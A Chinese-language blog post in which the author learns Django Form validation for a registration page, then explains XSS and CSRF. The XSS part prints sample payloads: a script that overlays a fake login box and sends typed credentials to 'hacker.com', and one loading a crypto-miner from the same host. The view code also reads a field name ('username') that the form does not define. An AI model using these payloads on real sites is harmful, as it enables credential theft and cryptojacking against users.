Django-Django Form+表单校验

2025-09-05

之前我们在注册阶段采用了一系列的if else来处理可能存在的问题。这儿我们进一步学习一下Django From,同时使用Django Form来处理下表单校验。

Django From

Django Form 是 Django 框架内置的一个类系统,专门用来处理 HTML 表单的数据验证和渲染。

一般在用户在网页填表单,通常由如下场景:

而Django Form可以自动验证、自动生成 HTML、安全性内置(自动处理XSS 攻击防护、SQL 注入防护、CSRF 令牌验证等等)。

注册-验证表单

customer/forms.py文件(新建的)
# 定义表单结构
# 处理数据验证
# 管理表单字段配置

from django import forms
from django.contrib.auth.models import User

class RegisterForm(forms.Form):
    user_name = forms.CharField(
        max_length=150,
        widget=forms.TextInput(attrs={'class': 'form-control'})
    )
    # 定义字符串类型用户名,限制长度,指定HTML中显示text,
    # attrs={'class': 'form-control'}则是限制样式
    password = forms.CharField(
        min_length=8,
        widget=forms.PasswordInput(attrs={'class': 'form-control'})
    )
    confirm_password = forms.CharField(
        widget=forms.PasswordInput(attrs={'class': 'form-control'})
    )
    # 字段级验证,判断是否存在已有同名用户
    def clean_user_name(self):
        username = self.cleaned_data['user_name']
        if User.objects.filter(username=username).exists():
            raise forms.ValidationError("用户名已存在")
        return username
    # 标单级验证,判断两次密码是否一致
    def clean(self):
        cleaned_data = super().clean()
        password = cleaned_data.get("password")
        confirm_password = cleaned_data.get("confirm_password")

        if password != confirm_password:
            raise forms.ValidationError("两次密码不一致")

大概理解下,类,定义数据类型,然后写函数约束内容。

比较有意思的是用户名和密码获取方式不一样,问了下claude,解释是[]比较直接,空的话直接报错,get更加安全,空的话会返回None。

        username = self.cleaned_data['user_name']
        password = cleaned_data.get("password")

下面需要修改视图函数,views.py,整体简洁了很多。

def register_view(request):
    if request.method == "POST":
        form = RegisterForm(request.POST)
        if form.is_valid():
            # 验证通过,获取清理后数据
            username = form.cleaned_data["username"]
            password = form.cleaned_data["password"]
            User.objects.create_user(username=username, password=password)
            messages.success(request, "注册成功,请登录!")
            return redirect("login")
    else:
        form = RegisterForm()  # 空表单
    return render(request, "customer/register.html", {"form": form})

攻击类型介绍

上文提到了安全性相关的东西,“安全性内置(自动处理XSS 攻击防护、SQL 注入防护、CSRF 令牌验证等等)”

好奇问了下Claude,个人理解如下:

XSS跨站脚本攻击:

简单来说,就是用户在表单中输入JavaScript代码,如果不处理,这些代码会在其他用户浏览器中执行(我靠,还能这么玩,牛)。

我们来理一下。

假设A用户注册时候用了一个JavaScript代码当用户名,然后写了一篇文章。

<script>
// 伪造登录框
document.body.innerHTML = `
  <div style="position:fixed;top:0;background:red;padding:20px;width:100%">
    <p>系统安全升级,请重新登录:</p>
    <input type="text" placeholder="用户名" id="phishing-username">
    <input type="password" placeholder="密码" id="phishing-password">
    <button onclick="sendCredentials()">登录</button>
  </div>
`;

function sendCredentials() {
  const username = document.getElementById('phishing-username').value;
  const password = document.getElementById('phishing-password').value;
  
  // 发送到黑客服务器
  fetch(`https://hacker.com/log?u=${username}&p=${password}`)
}
</script>

B用户被文章吸引,然后无意中点击了A用户主页想看下用户名,结果弹出了这样一个钓鱼窗口,然后无意中输入了账户和密码,然后账号就会被盗走。或者搞个挖矿脚本。

<script>
// 在用户浏览器运行加密货币挖矿脚本
importScripts('https://hacker.com/crypto-miner.js')
</script>

CSRF (跨站请求伪造):

恶意网站诱导已登录用户在不知情的情况下向目标网站发送请求。

唔,大概就是用户登录我们的网站,然后同时又瞎几把登录一些钓鱼网站,然后钓鱼网站会私闷闷伪装成用户访问我们的网站,实施转账啥的。

然后Django防护措施就是搞个Token验证。

这儿得解释个问题,为啥攻击者获取不了Token,因为同源策略限制,即浏览器禁止不同源网站互相访问对方的内容,恶意网站无法获取我们网站的Cookie或者页面内容。

所以如果攻击者直接控制了用户电脑,那就不是CSRF攻击了。


← 返回